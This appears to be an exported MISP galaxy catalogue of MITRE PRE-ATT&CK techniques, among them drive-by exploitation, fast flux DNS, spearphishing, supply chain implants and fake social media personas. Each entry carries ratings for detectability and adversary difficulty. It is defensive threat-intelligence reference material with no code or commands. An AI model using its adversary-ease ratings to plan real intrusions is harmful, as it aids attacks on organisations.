This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149"*

Table 2700. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149

Test signature detection - PRE-T1069

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test signature detection - PRE-T1069"*

Table 2701. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069

Fast Flux DNS - PRE-T1102

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Fast Flux DNS - PRE-T1102"*

Table 2702. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102

Conduct social engineering - PRE-T1026

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1026"*

Conduct social engineering - PRE-T1026 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1045" with estimative-language:likelihood-probability="almost-certain"

Table 2703. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026

Acquire and/or use 3rd party infrastructure services - PRE-T1106

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Hard to differentiate from standard business operations.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1106"*

Acquire and/or use 3rd party infrastructure services - PRE-T1106 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1084" with estimative-language:likelihood-probability="almost-certain"

Table 2704. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106

Obfuscate or encrypt code - PRE-T1096

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate or encrypt code - PRE-T1096"*

Table 2705. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096

Analyze organizational skillsets and deficiencies - PRE-T1074

Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1074"*

Analyze organizational skillsets and deficiencies - PRE-T1074 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1066" with estimative-language:likelihood-probability="almost-certain"

Table 2706. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074

Distribute malicious software development tools - PRE-T1171

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Distribute malicious software development tools - PRE-T1171"*

Table 2707. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171

Acquire or compromise 3rd party signing certificates - PRE-T1109

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1109"*

Acquire or compromise 3rd party signing certificates - PRE-T1109 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2708. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109

Develop social network persona digital footprint - PRE-T1119

Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Develop social network persona digital footprint - PRE-T1119"*

Table 2709. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119

Use multiple DNS infrastructures - PRE-T1104

A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires more planning, but feasible.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Use multiple DNS infrastructures - PRE-T1104"*

Table 2710. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104

Identify vulnerabilities in third-party software libraries - PRE-T1166

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify vulnerabilities in third-party software libraries - PRE-T1166"*

Table 2711. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166

DNSCalc - PRE-T1101

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="DNSCalc - PRE-T1101"*

Table 2712. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101

Compromise of externally facing system - PRE-T1165

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Compromise of externally facing system - PRE-T1165"*

Table 2713. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165

Identify supply chains - PRE-T1023

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1023"*

Identify supply chains - PRE-T1023 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2714. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023

Dumpster dive - PRE-T1063

Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Dumpster dive - PRE-T1063"*

Table 2715. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063

Obtain domain/IP registration information - PRE-T1028

For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obtain domain/IP registration information - PRE-T1028"*

Table 2716. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028

Identify business relationships - PRE-T1060

Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify business relationships - PRE-T1060"*

Identify business relationships - PRE-T1060 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify business relationships - PRE-T1049" with estimative-language:likelihood-probability="almost-certain"

Table 2717. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060

Anonymity services - PRE-T1083

Anonymity services reduce the amount of information available that can be used to track an adversary’s activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Anonymity services - PRE-T1083"*

Table 2718. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083

C2 protocol development - PRE-T1129

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="C2 protocol development - PRE-T1129"*

Table 2719. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129

Build social network persona - PRE-T1118

For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Build social network persona - PRE-T1118"*

Table 2720. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118

Task requirements - PRE-T1017

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Task requirements - PRE-T1017"*

Table 2721. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017

Spearphishing for Information - PRE-T1174

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Spearphishing for Information - PRE-T1174"*

Table 2722. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174

Buy domain name - PRE-T1105

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka "domain typosquatting" or homoglyphs).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Buy domain name - PRE-T1105"*

Table 2723. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105

Identify technology usage patterns - PRE-T1041

Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify technology usage patterns - PRE-T1041"*

Table 2724. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041

Identify business relationships - PRE-T1049

Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Made easier by today's current social media.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify business relationships - PRE-T1049"*

Identify business relationships - PRE-T1049 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify business relationships - PRE-T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2725. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049

Runtime code download and execution - PRE-T1172

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to "identify attacks that require connection to a server and dynamic downloading of code" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Runtime code download and execution - PRE-T1172"*

Table 2726. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172

Assess current holdings, needs, and wants - PRE-T1013

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess current holdings, needs, and wants - PRE-T1013"*

Table 2727. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013

Obtain templates/branding materials - PRE-T1058

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can’t monitor.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obtain templates/branding materials - PRE-T1058"*

Table 2728. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058

Dynamic DNS - PRE-T1088

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1088"*

Dynamic DNS - PRE-T1088 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1110" with estimative-language:likelihood-probability="almost-certain"

Table 2729. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088

Spear phishing messages with malicious links - PRE-T1146

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with malicious links - PRE-T1146"*

Table 2730. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146

Hardware or software supply chain implant - PRE-T1142

During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Hardware or software supply chain implant - PRE-T1142"*

Table 2731. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142

Determine secondary level tactical element - PRE-T1021

The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine secondary level tactical element - PRE-T1021"*

Table 2732. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021

Upload, install, and configure software/tools - PRE-T1139

An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Upload, install, and configure software/tools - PRE-T1139"*

Table 2733. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139

Assign KITs/KIQs into categories - PRE-T1005

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assign KITs/KIQs into categories - PRE-T1005"*

Table 2734. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005

Analyze application security posture - PRE-T1070

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze application security posture - PRE-T1070"*

Table 2735. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070

Targeted social media phishing - PRE-T1143

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.

